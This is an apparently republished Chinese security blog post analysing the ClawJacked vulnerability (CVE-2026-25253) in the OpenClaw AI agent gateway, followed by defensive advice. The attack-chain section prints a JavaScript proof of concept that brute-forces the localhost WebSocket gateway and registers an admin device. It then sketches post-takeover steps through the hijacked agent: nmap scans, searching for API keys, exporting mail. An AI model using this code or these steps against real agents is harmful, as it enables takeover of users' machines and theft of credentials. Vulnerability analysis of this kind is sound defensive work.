文章总结: 本文分析了OpenClaw框架CVE-2026-25253漏洞。攻击者利用浏览器对localhostWebSocket的豁免机制,结合Gateway缺乏速率限制与自动配对特性,诱导用户访问恶意网站后可无感暴力破解并接管AIAgent。文章详述了攻击链原理与APT利用价值,建议用户升级至v2026.2.25以上版本,采取强制Token认证及最小权限策略。该漏洞凸显了AI智能体本地信任模型的安全风险。 综合评分: 85 文章分类: 漏洞分析,AI安全,漏洞预警,红队,内网渗透
OpenClaw本地AI Agent零交互接管攻击链分析与思考|ClawJacked【CVE-2026-25253】
原创
kedaya kedaya
诸葛安全
2026年3月3日 22:31 陕西
最近在部署和使用OpenClaw时,互联网上披露了OpenClaw框架的ClawJacked漏洞链。
CVE编号:CVE-2026-25253
漏洞简单描述就是,只需受害者打开恶意网站,就能在浏览器后台静默暴力破解密码、自动注册为可信设备,从而完整接管本地运行的OpenClaw Gateway,最终让AI Agent变成攻击者的肉鸡。
震惊吗?我也很震惊,恰好,最近我也在部署和使用OpenClaw。看到这个漏洞后,详细分析了一下思路。文章末尾附有原文链接。
先做一下科普:
OpenClaw(曾用名Clawdbot/Moltbot)作为最近超火的开源本地AI Agent框架,GitHub星标现在已经超250k了。它是一个真正能干活的AI助手,进行终端、浏览器、文件操作,自主执行复杂任务等。
ClawJacked漏洞的出现,对于APT组织/红队人员来说,真的是拿钥匙进自家门,就这么简单。
本文将从OpenClaw架构、ClawJacked漏洞成因、完整攻击链、技术实现细节、APT价值,到防御建议,进行拆解分析,所学有限,如有错误请指正。
正文开始
一、OpenClaw架构
通过对OpenClaw架构的分析,发现Gateway才是OpenClaw真正的核心,先从最基础说起,OpenClaw是什么?
想象一下,你家有一台智能管家机器人(AI Agent),它能听你指挥,还能控制家里所有设备(Nodes)。但机器人不能直接跟每个设备聊天,必须通过一个“中控台”(Gateway)来调度。这里可以参考OpenClaw官方文档(文章末尾)。
其核心组件分三层结构:
1、Gateway(中控台:本地WebSocket服务器)
- 默认绑定127.0.0.1:18789(端口可改,通常不对外暴露)。
- 功能:负责认证、配置存储(AI模型、API Key、已连渠道)、指令下发、日志记录。
- 通信协议:WebSocket(WS),一种全双工、持久化的浏览器/服务器通信协议,比HTTP更适合实时指令(如果HTTP是发短信,那么WS就像是打电话)。
- 保护方式:密码或长随机Token。
2、Nodes(节点:做执行操作)
- 可以理解为人的手/脚,每个Node都有自己的专属能力:运行Shell命令、读写文件、查询消息历史、控制浏览器等。
3、AI Agent(智能体)
- 这个就类似于人脑,高权限身份,拥有长期记忆、自主规划、工具调用能力。它不只是聊天机器人,而是能真正干活的Agent。
这里需要引入一个思考问题:为什么Gateway对localhost有“隐式信任”?
我们日常用CLI工具调试时,需要本地快速连接。如果每次都弹窗确认,会非常烦人。所以OpenClaw设计时,对127.0.0.1(本地回环地址)采取了“信任一切”的简化逻辑。就是因为这个设计,才导致ClawJacked漏洞出现。
二、ClawJacked漏洞成因
其实核心就是:localhost的三次信任危机,漏洞完全存在于核心系统本身!
-
第一次信任危机:浏览器对localhost WebSocket的跨源豁免(SOP/CORS例外)。
-
简单理解一下:正常网站A不能随便访问你电脑上的网站B(同源策略SOP保护)。但浏览器对ws://127.0.0.1特别优待,因为这对于浏览器来说,这是“自己家的事”。WebSocket连接不像HTTP请求会触发严格CORS检查。
开门,自己人!
- 为什么致命:恶意网页的JS可以直接new WebSocket(‘ws://127.0.0.1:18789’),无任何弹窗、无任何提示。整个过程隐藏在浏览器后台,无感!
这么一说,你是不是得来一句“我*(工作的时候称植物)!我悟了!”,事情变得严重起来了对吧。继续分析:
-
第二次信任危机:localhost完全豁免速率限制与失败计数(Rate Limiter Bypass)
-
我们继续简单理解一下:正常登录网站,输错密码5次就被锁住。但OpenClaw的Gateway对本地连接说:“自己人,放心啦!”,是的,没错,没有任何限制!
-
Gateway内置全局速率限制器(通常用token bucket或leaky bucket算法),但代码中对loopback地址(127.0.0.1)显式跳过:无尝试次数上限、无失败日志、无节流、无黑名单。
-
因为远程有速率限制,本地却无限制,相当于银行ATM对内部员工不设密码尝试上限。
-
第三次信任危机:localhost新设备配对自动信任(Auto-Pairing无确认)
-
继续理解一下:打个比喻:正常新手机配对智能家居,要弹窗点确认。但本地连接直接默认通过。
-
Gateway后端配对的逻辑是区分来源的:远程需用户手动确认;localhost来源的register_device请求被静默自动批准,直接授予full_admin权限。
三重信任叠加效果:
浏览器JS → WS连接 → 暴力破解(无限制) → 自动配对 → 完整Admin控制
整个过程零交互、零文件落地、零EDR告警。简单做了个图,理解一下:
当时二月初的时候我记得就爆出过一个漏洞,月底又爆出来,我当时还纳闷了,为啥是一个编号,查了一下,原来是两个攻击链。
26年2月初的时候,CVE-2026-25253是gatewayUrl查询参数导致的Token泄露(已于v2026.1.29修复),他与2月底披露的ClawJacked漏洞,共用同一个CVE编号,但不是同一个漏洞,只是OpenClaw Gateway组件的两轮独立攻击链:
- 第一轮(已于 v2026.1.29 修复):恶意链接通过 gatewayUrl 参数自动窃取 Token。
- 第二轮(ClawJacked,需升级至 v2026.2.25+ 修复):浏览器对 localhost WebSocket 的三重信任绕过(SOP 豁免 + Rate Limit Bypass + Auto-Pairing)。
现在,原理和思路知道了,下面我们来简单梳理一下攻击链路。
三、攻击链
- 鱼叉式钓鱼/水坑攻击诱导访问恶意网站
- 用户点开技术博客、GitHub链接或内部邮件,页面加载恶意JS。
- ClawJacked接管Gateway
- PoC原理还原(基于WS JSON协议-这里借助了AI):
// 浏览器JS实现async function clawJackedExploit(port = 18789) { const ws = new WebSocket(`ws://127.0.0.1:${port}`);
ws.onopen = () => { console.log('【ClawJacked】WS连接建立(浏览器localhost豁免)'); bruteForce(ws); // 启动暴力破解 };
ws.onmessage = (event) => { const msg = JSON.parse(event.data); if (msg.type === 'auth_success') { console.log('【ClawJacked】认证成功 → localhost自动配对'); registerDevice(ws); } };}function bruteForce(ws) { const dict = ['password', '123456', 'admin', 'openclaw2026', /* 自定义大字典 */]; let i = 0; const timer = setInterval(() => { if (i >= dict.length) return clearInterval(timer); ws.send(JSON.stringify({ type: 'auth', password: dict[i++] })); // 每3-5ms一次,无速率限制 }, 4);}function registerDevice(ws) { ws.send(JSON.stringify({ type: 'register_device', deviceName: 'Attacker-Controlled-Device', capabilities: ['full_admin', 'node_control'] })); // 此时已获Admin权限,可Dump配置}// 触发:clawJackedExploit();
-
协议细节:所有通信是JSON over WebSocket。真实消息类型包括auth、auth_success、register_device等。
-
枚举Nodes与配置:接管后发送dump_config、list_nodes指令,获取AI模型、已连设备IP、平台等完整拓扑。
-
使用Agent进行内网探测:下发指令让Agent执行shell:nmap -sP 192.168.1.0/24扫描内网;或利用既有Nodes(浏览器/终端)作为跳板,无需新C2落地。
-
利用Agent已有权限窃取敏感数据,Agent以高权限身份运行,可自主执行:search_slack(“API Key”) 搜索历史凭证,读写文件、导出邮件、操作云服务,整个行为伪装成“正常AI任务”,EDR此时就是摆设。
到这里,利用链路是不是就清晰多了,接下来简单预测一下利用价值。
四、APT的利用价值:
- 低门槛:只需一次钓鱼,无0day、无额外社工。
- 高隐蔽:利用合法Agent执行,绕过所有传统检测。
- 高收益:能接入OpenClaw往往都是极具业务性的设备,VPN、内网、云凭证,…
- 天然的持久化:无需维持浏览器会话,Agent可长期执行任务。重点是,很少有人注意Agent的内部细节吧。就是注意了,技术门槛很高。至少我作为OpenClaw的使用者,我是没咋关注过。(叠甲:严禁抬杠!)
- 目前生态:漏洞是2月底披露的,这才几天,能及时升级OpenClaw的人又能有多少呢?
五、防御
- 升级解决问题,官方已经修复这个漏洞:更新至v2026.2.25及以上就行。仓库:
https://github.com/openclaw/openclaw
-
要是企业还不放心可以用EDR进行扫描检查:ps aux | grep openclaw或netstat -an | grep 18789。
-
强化访问控制(修复核心,毕竟谁也不能保证,过几天会不会有新漏洞爆出):
-
强制使用长随机Token,禁用密码认证;
-
即使localhost也启用速率限制+手动确认配对;
-
Gateway绑定特定接口而非全localhost。
-
Agent最小权限:Just-In-Time(JIT)授权、定期审计工具链、意图日志分析。
-
监控告警:关注localhost异常WS连接、Agent异常Shell执行、数据外发。
-
隔离部署:推荐在Docker/VM中以非特权用户运行(但是问题来了,都隔离部署了,使用OpenClaw的意义在哪,但也不排除整个业务都在一起,所有还是要考虑到的)。
-
企业:纳入红队演练,毕竟红队大手子强的可怕。
最后思考
ClawJacked漏洞更像是便利性与安全设计冲突的必然结果。当仅仅访问一个网站就能让AI Agent失陷,说明一个事实:传统的安全边界已经从网络层彻底前移到“本地信任模型”。尤其是AI智能体时代的到来。传统EDR的对抗已经不能胜任对AI智能体的防护了,况且,像OpenClaw这样的自主决策能力,完全可以自主对抗EDR。
- Oasis官方技术报告:https://www.oasis.security/blog/openclaw-vulnerability
- OpenClaw仓库:https://github.com/openclaw/openclaw/
- CVE-2026-25253:https://nvd.nist.gov/vuln/detail/CVE-2026-25253
- OpenClaw官方文档:https://docs .openclaw.ai/cli/gateway
本文仅仅是个人研究学习见解,仅供技术交流与安全研究。严禁用于任何非法目的。请严格遵守法律法规。
最后来个灵魂拷问:你的OpenClaw升级了吗?
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:诸葛安全 kedaya kedaya《OpenClaw本地AI Agent零交互接管攻击链分析与思考|ClawJacked【CVE-2026-25253】》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论